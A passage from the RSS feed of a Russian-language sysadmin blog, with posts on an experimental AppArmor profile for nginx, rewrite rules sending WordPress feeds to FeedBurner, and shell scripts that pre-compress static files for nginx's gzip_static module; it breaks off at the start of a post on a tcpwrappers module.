		<description><![CDATA[Экспериментальный профиль AppArmor для nginx в Ubuntu Linux Данный профиль AppArmor предназначается тем, кто знает, что такое AppArmor и сознательно решил использовать профиль для nginx. Профиль не является законченным решением, работающим из коробки, а должен рассматриваться только как шаблон. При построении профиля молчаливо предполагалось: рабочие процессы nginx выполняются от имени www-data:www-data; файлы конфигурации nginx находятся [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Экспериментальный профиль <a href="http://blog.sjinks.pro/tag/apparmor/" class="st_tag internal_tag" rel="tag" title="Posts tagged with AppArmor">AppArmor</a> для nginx в Ubuntu Linux</em></h2>
<p>Данный профиль <a href="http://blog.sjinks.pro/tag/apparmor/" class="st_tag internal_tag" rel="tag" title="Posts tagged with AppArmor">AppArmor</a> предназначается тем, кто знает, что такое <a href="http://blog.sjinks.pro/tag/apparmor/" class="st_tag internal_tag" rel="tag" title="Posts tagged with AppArmor">AppArmor</a> и сознательно решил использовать профиль для nginx. Профиль не является законченным решением, работающим из коробки, а должен рассматриваться только как шаблон.</p>
<p>При построении профиля молчаливо предполагалось:</p>
<ul>
<li>рабочие процессы nginx выполняются от имени <code>www-data:www-data</code>;</li>
<li>файлы конфигурации nginx находятся в <code>/etc/nginx</code> (<code>/etc/nginx/sites-enabled</code>, <code>/etc/nginx/sites-available</code>, <code>/etc/nginx/conf.d/*.conf</code>, <code>/etc/nginx/ssl</code>);</li>
<li>пользовательские сайты расположены в <code>/home/&lt;user&gt;/htdocs</code>;</li>
<li>логи записываются в <code>/var/log/nginx/*.log</code></li>
</ul>
<p><span id="more-700"></span></p>
<p>Получился такой профиль <a href="http://blog.sjinks.pro/tag/apparmor/" class="st_tag internal_tag" rel="tag" title="Posts tagged with AppArmor">AppArmor</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p70019">
        <div class="code apparmor" id="p700code19">
#include &lt;tunables/global&gt;<br />
<br />
/usr/sbin/nginx {<br />
&nbsp; #include &lt;abstractions/base&gt;<br />
&nbsp; #include &lt;abstractions/nameservice&gt;<br />
&nbsp; #include &lt;abstractions/ssl_certs&gt;<br />
<br />
&nbsp; deny /root/** rw,<br />
<br />
# Лучше бы это убрать<br />
&nbsp; capability chown,<br />
<br />
&nbsp; capability setgid,<br />
&nbsp; capability setuid,<br />
<br />
# Поддержка OpenSSL<br />
&nbsp; /usr/lib/ssl/openssl.cnf r,<br />
&nbsp; /etc/ssl/openssl.cnf r,<br />
&nbsp; owner /etc/nginx/ssl/* r,<br />
<br />
# Пользовательские файлы конфигурации nginx<br />
&nbsp; owner /etc/nginx/conf.d/ r,<br />
&nbsp; owner /etc/nginx/conf.d/*.conf r,<br />
<br />
# Здесь должны быть перечислены все используемые файлы из /etc/nginx<br />
&nbsp; owner /etc/nginx/fastcgi_params r,<br />
&nbsp; owner /etc/nginx/mime.types r,<br />
&nbsp; owner /etc/nginx/nginx.conf r,<br />
<br />
# Конфиги виртуальных хостов<br />
&nbsp; /etc/nginx/sites-available/* r,<br />
&nbsp; owner /etc/nginx/sites-enabled/ r,<br />
<br />
# Сайты пользователей<br />
&nbsp; /home/*/htdocs/** r,<br />
<br />
# Поддержка замены nginx на лету<br />
&nbsp; /usr/sbin/nginx rix,<br />
<br />
# Логи nginx<br />
&nbsp; /var/log/nginx/*.log w,<br />
<br />
# PID<br />
&nbsp; owner /var/run/nginx.pid rw,<br />
}
        </div>
    </div>
</div>

<p><code>CAP_CHOWN</code> (<code>capability chown</code>) — довольно опасная вещь: если злоумышленник может использовать <span class="codebox"><code class="c">chown<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span>, то права доступа у файлам особой роли не играют. nginx пользуется <code>CAP_CHOWN</code> при получении сигнала SIGUSR1: файлы журналов переводятся под управление пользователя, от имени которого выполняются рабочие процессы nginx.</p>
<p>Чтобы избавиться от <code>CAP_CHOWN</code>, без танцев с бубном не обойтись. Для этого, как минимум, файлы журналов должны иметь права <code>u+w,g+w</code> и находиться под владением <code>www-data:root</code> (полагая, что рабочие процессы выполняются от имени <code>www-data</code>). Кроме того, все необходимые лог-файлы должны существовать <strong>до запуска</strong> nginx (в противном случае nginx их создаст с правами 0644, root:root, не сможет открыть созданные файлы — об этом далее — и не сможет выполнить <span class="codebox"><code class="c">chown<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> при получении <code>SIGUSR1</code>).</p>
<p>Очень важно, чтобы логи имели права на групповую запись: дело в том, что при правах 0644, <code>www-data:root</code>, мастер-процесс nginx, выполняющийся от имени <code>root</code>, <strong>не имеет</strong> прав на запись в лог (такой вот бесправный <code>root</code>). Неудобств можно избежать, если добавить в профиль <code>capability dac_override</code>, но у неё те же недостатки, что и у <code>CAP_CHOWN</code>.</p>
<p>Если есть желание обойтись без <code>CAP_DAC_OVERRIDE</code> <em>или</em> <code>CAP_CHOWN</code>, то нужно правильно настроить <code>logrotate</code>: в частности. в файле конфигурации logrotate должна быть строка</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p70020">
        <div class="code text" id="p700code20">
create 660 www-data root
        </div>
    </div>
</div>

<p>PS — при возникновении проблем с профилем <span class="codebox"><code class="bash">aa-complain</code></span> и <span class="codebox"><code class="bash">aa-genprof</code></span> — лучшие друзья <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/" title="Модуль поддержки tcpwrappers для nginx (Октябрь 10, 2009)">Модуль поддержки tcpwrappers для nginx</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/" title="Безопасный логин в WordPress с использованием nginx (Декабрь 5, 2009)">Безопасный логин в WordPress с использованием nginx</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/508-wordpress-nginx-disable-php-execution-in-uploads/" title="WordPress + nginx: запрет выполнения PHP-файлов в uploads (Февраль 25, 2009)">WordPress + nginx: запрет выполнения PHP-файлов в uploads</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/648-ngx_drop_privs-minimum-privilege-principle-nginx/" title="ngx_drop_privs: принцип минимальных привилегий в nginx (Сентябрь 23, 2009)">ngx_drop_privs: принцип минимальных привилегий в nginx</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/administring/700-apparmor-profile-for-nginx/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Перенаправление RSS в WordPress на FeedBurner для nginx</title>
		<link>http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/</link>
		<comments>http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 21:27:07 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Feedburner]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[RSS]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=691</guid>
		<description><![CDATA[Выполнение перенаправления без плагинов Хотя для перенаправления фидов WordPress на Feedburner существует несколько плагинов, справиться с этой задачей можно и силами web-сервера. Рассмотрим на примере nginx. С использованием постоянных ссылок: server { #... if ($http_user_agent !~ FeedBurner) { rewrite ^/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-BLOG-ID?; rewrite ^/comment/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-COMMENTS-ID?; } #... } Без использования постоянных ссылок сложнее, так как nginx [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Выполнение перенаправления без плагинов</em></h2>
<p>Хотя для перенаправления фидов WordPress на <a href="http://blog.sjinks.pro/tag/feedburner/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Feedburner">Feedburner</a> существует несколько плагинов, справиться с этой задачей можно и силами web-сервера. Рассмотрим на примере nginx.<span id="more-691"></span></p>
<p>С использованием постоянных ссылок:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p69123">
        <div class="code nginx" id="p691code23">
<span class="kw1">server</span> {<br />
<span class="co1">#...</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($http_user_agent !~ FeedBurner) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> ^/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-BLOG-ID?;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> ^/comment/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-COMMENTS-ID?;<br />
&nbsp; &nbsp; }<br />
<br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>Без использования постоянных ссылок сложнее, так как nginx не поддерживает сложные выражения в операторе <span class="codebox"><code class="nginx"><span class="kw1">if</span></code></span>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p69124">
        <div class="code nginx" id="p691code24">
<span class="kw1">server</span> {<br />
<span class="co1">#...</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">set</span> $withcomments <span class="nu0">0</span>;<br />
&nbsp; &nbsp; <span class="kw1">set</span> $feedburner <span class="nu0">0</span>;<br />
&nbsp; &nbsp; <span class="kw1">set</span> $feed <span class="nu0">0</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($http_user_agent ~ FeedBurner) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> $feedburner <span class="nu0">1</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($arg_withcomments = <span class="st0">&quot;1&quot;</span>) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> $withcomments <span class="nu0">1</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($arg_feed) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> $feed <span class="nu0">1</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($feedburner) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> $feed <span class="nu0">0</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($feed = <span class="st0">&quot;0&quot;</span>) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">set</span> $withcomments <span class="nu0">0</span>;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($withcomments) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> .* http://feeds2.feedburner.com/FEEDBURNER-COMMENT-ID?;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> ($feed) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">rewrite</span> .* http://feeds2.feedburner.com/FEEDBURNER-BLOG-ID?;<br />
&nbsp; &nbsp; }<br />
<br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>Минус один плагин — теперь всё перенаправление будет осуществляться на уровне web-сервера, что менее ресурсоёмко и чуть быстрее. Спички <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/wordpress/458-nginx-config-for-wordpress-look-from-the-gallery/" title="Конфигурация nginx для WordPress: критический взгляд со стороны (Декабрь 18, 2008)">Конфигурация nginx для WordPress: критический взгляд со стороны</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/" title="Безопасный логин в WordPress с использованием nginx (Декабрь 5, 2009)">Безопасный логин в WordPress с использованием nginx</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/725-689-wp-super-cache-vs-maxsite-cache-part-2/" title="WP Super Cache vs MaxSite Cache: часть 2 (Декабрь 13, 2009)">WP Super Cache vs MaxSite Cache: часть 2</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/509-wp-supercache-nginx-replace-mod_rewrite-rules/" title="WP Super Cache + nginx: замена правил mod_rewrite (Февраль 27, 2009)">WP Super Cache + nginx: замена правил mod_rewrite</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/398-wordpress-replacing-apache-with-nginx/" title="WordPress: заменяем Apache nginx&#8217;ом (Ноябрь 25, 2008)">WordPress: заменяем Apache nginx&#8217;ом</a> (5)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx и gzip_static: еще один способ снизить нагрузку на сервер</title>
		<link>http://blog.sjinks.pro/wordpress/684-nginx-gzip_static-reduce-server-load/</link>
		<comments>http://blog.sjinks.pro/wordpress/684-nginx-gzip_static-reduce-server-load/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 10:09:11 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[нагрузка]]></category>
		<category><![CDATA[сжатие]]></category>
		<category><![CDATA[трафик]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=684</guid>
		<description><![CDATA[Отдача предварительно сжатых файлов для снижения нагрузки на процессор Чем меньше размер страниц сайта, тем меньше расход трафика, загрузка канал и выше скорость загрузки страниц. Один из самых распространённых способов уменьшения страниц — сжатие перед отправкой пользователю. В Apache для этих целей используется mod_deflate, в nginx — ngx_http_gzip_module.html. В других web-серверах используются похожие решения. Что mod_deflate, что [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/684-nginx-gzip_static-reduce-server-load/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Отдача предварительно сжатых файлов для снижения нагрузки на процессор</em></h2>
<p>Чем меньше размер страниц сайта, тем меньше расход трафика, загрузка канал и выше скорость загрузки страниц. Один из самых распространённых способов уменьшения страниц — сжатие перед отправкой пользователю.</p>
<p>В Apache для этих целей используется <a href="http://httpd.apache.org/docs/2.2/mod/mod_deflate.html">mod_deflate</a>, в nginx — <a href="http://sysoev.ru/nginx/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module.html</a>. В других web-серверах используются похожие решения.</p>
<p>Что <code>mod_deflate</code>, что <code>ngx_http_gzip_module</code> используют сжатие «на лету» — файл сжимается перед отдачей пользователю. Но сжатие — операция, нагружающая процессор, и чем выше степень сжатия, тем больше нагрузка. Это не было бы проблемой, если бы один и тот же файл не приходилось сжимать каждый раз заново.<span id="more-684"></span></p>
<p>Для nginx есть простой вариант, который позволяет избежать повторного сжатия — использование модуля <a href="http://sysoev.ru/nginx/docs/http/ngx_http_gzip_static_module.html">ngx_http_gzip_static_module</a>. Но этот модуль по умолчанию <strong>не собирается</strong> — поэтому нужно разрешить его сборку путём передачи параметра <code>--with-http_gzip_static_module</code> скрипту <code>configure</code>.</p>
<p>Включается модуль путём добавления директивы <span class="codebox"><code class="nginx"><span class="kw1">gzip_static</span> <span class="kw2">on</span>;</code></span> в блок <span class="codebox"><code class="nginx">http</code></span> или виртуальный хост, после чего nginx будет отдавать вместо обычного файла предварительно сжатый файл с таким же именем и дополнительным расширением <code>.gz</code>. То есть если есть файл <code>index.html.gz</code>, то nginx будет отдавать его при запросе к файлу <code>index.html</code>.</p>
<p>Дело осталось за малым — сжать все статические файлы. И задать им ту же дату модификации, что у исходного файла.</p>
<p>Вручную это делается так:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68431">
        <div class="code bash" id="p684code31">
<span class="kw2">gzip</span> <span class="re5">-9</span> <span class="re5">-c</span> index.html <span class="sy0">&gt;</span> index.html.gz<br />
<span class="kw2">touch</span> <span class="re5">-r</span> index.html index.html.gz
        </div>
    </div>
</div>

<p>Но сжимать все файлы вручную — это скучно и муторно. Можно воспользоваться двумя скриптами:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68432">
        <div class="code bash" id="p684code32">
<span class="co0">#! /bin/sh</span><br />
<br />
<span class="re2">EXTENSIONS</span>=<span class="st0">&quot;txt|html?|css|js|xml|ico|patch|diff|c&quot;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re5">-z</span> <span class="st0">&quot;$1&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="re2">DIR</span>=<span class="st0">&quot;<span class="es5">`pwd`</span>&quot;</span><br />
<span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="re2">DIR</span>=<span class="st0">&quot;$1&quot;</span><br />
<span class="kw1">fi</span><br />
<br />
<span class="kw2">find</span> <span class="re1">$DIR</span> <span class="re5">-type</span> f <span class="re5">-regextype</span> posix-egrep <span class="re5">-regex</span> <span class="st0">&quot;.*\.(<span class="es2">$EXTENSIONS</span>)<span class="es1">\$</span>&quot;</span> <span class="re5">-exec</span> <span class="sy0">`</span><span class="kw2">dirname</span> $<span class="nu0">0</span><span class="sy0">`/</span>do-compress.sh <span class="st_h">'{}'</span> \;
        </div>
    </div>
</div>

<p>и </p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68433">
        <div class="code bash" id="p684code33">
<span class="co0">#! /bin/sh</span><br />
<br />
<span class="re2">MINSIZE</span>=100<br />
<span class="re2">GZIP</span>=<span class="st0">&quot;gzip -9 -c&quot;</span><br />
<span class="re2">AWK</span>=<span class="kw2">awk</span><br />
<span class="re2">TOUCH</span>=<span class="kw2">touch</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re5">-n</span> <span class="st0">&quot;$1&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="re2">GZ_NAME</span>=<span class="st0">&quot;$1.gz&quot;</span><br />
&nbsp; &nbsp; <span class="re2">DATA_PLAIN</span>=<span class="sy0">`</span><span class="kw2">stat</span> <span class="re5">--format</span> <span class="st0">&quot;%s %Y&quot;</span> <span class="st0">&quot;$1&quot;</span><span class="sy0">`</span><br />
&nbsp; &nbsp; <span class="re2">PLAIN_SIZE</span>=<span class="sy0">`</span><span class="kw3">echo</span> <span class="st0">&quot;<span class="es2">$DATA_PLAIN</span>&quot;</span> <span class="sy0">|</span> <span class="re1">$AWK</span> <span class="st_h">'{ print $1}'</span><span class="sy0">`</span><br />
&nbsp; &nbsp; <span class="re2">PLAIN_MTIME</span>=<span class="sy0">`</span><span class="kw3">echo</span> <span class="st0">&quot;<span class="es2">$DATA_PLAIN</span>&quot;</span> <span class="sy0">|</span> <span class="re1">$AWK</span> <span class="st_h">'{ print $2}'</span><span class="sy0">`</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re1">$PLAIN_SIZE</span> <span class="re5">-lt</span> <span class="re1">$MINSIZE</span> <span class="br0">&#93;</span>; <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Ignoring file $1: its size (<span class="es2">$PLAIN_SIZE</span>) is less than <span class="es2">$MINSIZE</span> bytes&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">0</span>;<br />
&nbsp; &nbsp; <span class="kw1">fi</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re5">-f</span> <span class="st0">&quot;<span class="es2">$GZ_NAME</span>&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">GZIPPED_MTIME</span>=<span class="sy0">`</span><span class="kw2">stat</span> <span class="re5">--format</span> <span class="st0">&quot;%Y&quot;</span> <span class="st0">&quot;<span class="es2">$GZ_NAME</span>&quot;</span><span class="sy0">`</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re1">$GZIPPED_MTIME</span> <span class="re5">-eq</span> <span class="re1">$PLAIN_MTIME</span> <span class="br0">&#93;</span>; <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Ignoring file $1: there is a compressed file <span class="es2">$GZ_NAME</span> with the same modification time&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span> 0<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span><br />
&nbsp; &nbsp; <span class="kw1">fi</span><br />
<br />
&nbsp; &nbsp; <span class="re1">$GZIP</span> <span class="re5">-9</span> <span class="re5">-c</span> <span class="st0">&quot;$1&quot;</span> <span class="sy0">&gt;</span> <span class="st0">&quot;<span class="es2">$GZ_NAME</span>&quot;</span><br />
&nbsp; &nbsp; <span class="re1">$TOUCH</span> <span class="re5">-r</span> <span class="st0">&quot;$1&quot;</span> <span class="st0">&quot;<span class="es2">$GZ_NAME</span>&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Compressed $1 to <span class="es2">$GZ_NAME</span>&quot;</span><br />
<span class="kw1">fi</span>
        </div>
    </div>
</div>

<p>Файлы нужно поместить в один и тот же каталог, сделать исполняемыми (<span class="codebox"><code class="bash"><span class="kw2">chmod</span> 0755 compress.sh do-compress.sh</code></span>) и немного настроить.</p>
<p>В файле <code>compress.sh</code> задаётся список расширений (регулярным выражением) файлов, которые нужно сжимать:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68434">
        <div class="code bash" id="p684code34">
<span class="re2">EXTENSIONS</span>=<span class="st0">&quot;txt|html?|css|js|xml|ico|patch|diff|c&quot;</span>
        </div>
    </div>
</div>

<p>Для тех, кто с регулярными выражениями не знаком, есть простое правило: новые расширения разделяются вертикальной чертой. Иными словами, если нужно сжимать файлы с расширением <code>.svg</code>, то строка выше примет следующий вид:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68435">
        <div class="code bash" id="p684code35">
<span class="re2">EXTENSIONS</span>=<span class="st0">&quot;txt|html?|css|js|xml|ico|patch|diff|c|svg&quot;</span>
        </div>
    </div>
</div>

<p>В файле <code>do-compress.sh</code> единственным параметром, который, вероятно, придется изменить, является <code>MINSIZE</code>. Он задаёт минимальный размер (в байтах) файла, который стоит сжимать. По умолчанию это 100 байт, по идее, должно быть нормально.</p>
<p>Запускается скрипт так (предполагая, что он находится в текущем каталоге):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p68436">
        <div class="code bash" id="p684code36">
.<span class="sy0">/</span>compress.sh <span class="sy0">/</span>path<span class="sy0">/</span>to<span class="sy0">/</span>blog
        </div>
    </div>
</div>

<p>Параметр, передаваемый скрипту — это путь к каталогу, где находится блог (сайт): скрипт рекурсивно обработает все подкаталоги.</p>
<p>Скрипт нужно запускать каждый раз (да, есть такой недостаток), когда изменился/добавился какой-либо подходящий для сжатия файл. Например, если вы изменили файл со стилями темы WordPress. Скрипт не будет пытаться сжимать файл, если существует сжатый файл с одинаковым временем последнего изменения — при последующих запусках будут сжиматься только новые и изменённые файлы. Что значительно снижает ресурсоёмкость процесса.</p>
<p>После всех манипуляций nginx будет отдавать заранее сжатые файлы, что позволит снизить нагрузку на процессор.</p>
<p>Разочарую всех тех, кто думает, что снижение нагрузки будет кардинальным: вряд ли. Но всё зависит от железа. Чем меньше мощность сервера, тем больше снижение нагрузки.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/wordpress/684-nginx-gzip_static-reduce-server-load/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/mysql/502-counting-traffic-for-nginx-part-2/" title="Подсчёт трафика в nginx: часть 2 (Февраль 21, 2009)">Подсчёт трафика в nginx: часть 2</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/mysql/488-counting-traffic-for-nginx/" title="Подсчет трафика в nginx (Январь 23, 2009)">Подсчет трафика в nginx</a> (9)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/691-redirect-rss-feeds-to-feedburner-with-nginx/" title="Перенаправление RSS в WordPress на FeedBurner для nginx (Ноябрь 13, 2009)">Перенаправление RSS в WordPress на FeedBurner для nginx</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/wordpress/458-nginx-config-for-wordpress-look-from-the-gallery/" title="Конфигурация nginx для WordPress: критический взгляд со стороны (Декабрь 18, 2008)">Конфигурация nginx для WordPress: критический взгляд со стороны</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/" title="Безопасный логин в WordPress с использованием nginx (Декабрь 5, 2009)">Безопасный логин в WordPress с использованием nginx</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/684-nginx-gzip_static-reduce-server-load/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Модуль поддержки tcpwrappers для nginx</title>
		<link>http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/</link>
		<comments>http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 01:15:47 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[libwrap]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[ngx_tcpwrappers]]></category>
		<category><![CDATA[TCP Wrappers]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=654</guid>
		<description><![CDATA[Использование libwrap для контроля доступа TCP Wrappers — система контроля доступа, используемая для ограничения доступа к серверам на UNIX-подобных операционных системах (Linux, BSD). Контроль доступа может осуществляться, например, по имени хоста (полному или частичному), адресу, подсети. Подробности приведены здесь. TCP Wrappers очень удобно использовать с программами для защиты от червей (BlackHosts, DenyHosts, Fail2ban), в частности, для [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/654-tcpwrappers-support-for-nginx/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Использование libwrap для контроля доступа</em></h2>
<p>TCP Wrappers — система контроля доступа, используемая для ограничения доступа к серверам на UNIX-подобных операционных системах (Linux, BSD). Контроль доступа может осуществляться, например, по имени хоста (полному или частичному), адресу, подсети. Подробности приведены <a href="http://linux.die.net/man/5/hosts_access">здесь</a>.</p>
<p>TCP Wrappers очень удобно использовать с программами для защиты от червей (BlackHosts, DenyHosts, Fail2ban), в частности, для защиты от <a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/">HTTP-сканирования</a>.</p>
<p>Огромным достоинством TCP Wrappers является возможность динамической конфигурации списков контроля доступа (что избавляет от необходимости перезапускать защищаемый сервис) и простота файлов конфигурации (это субъективно).</p>
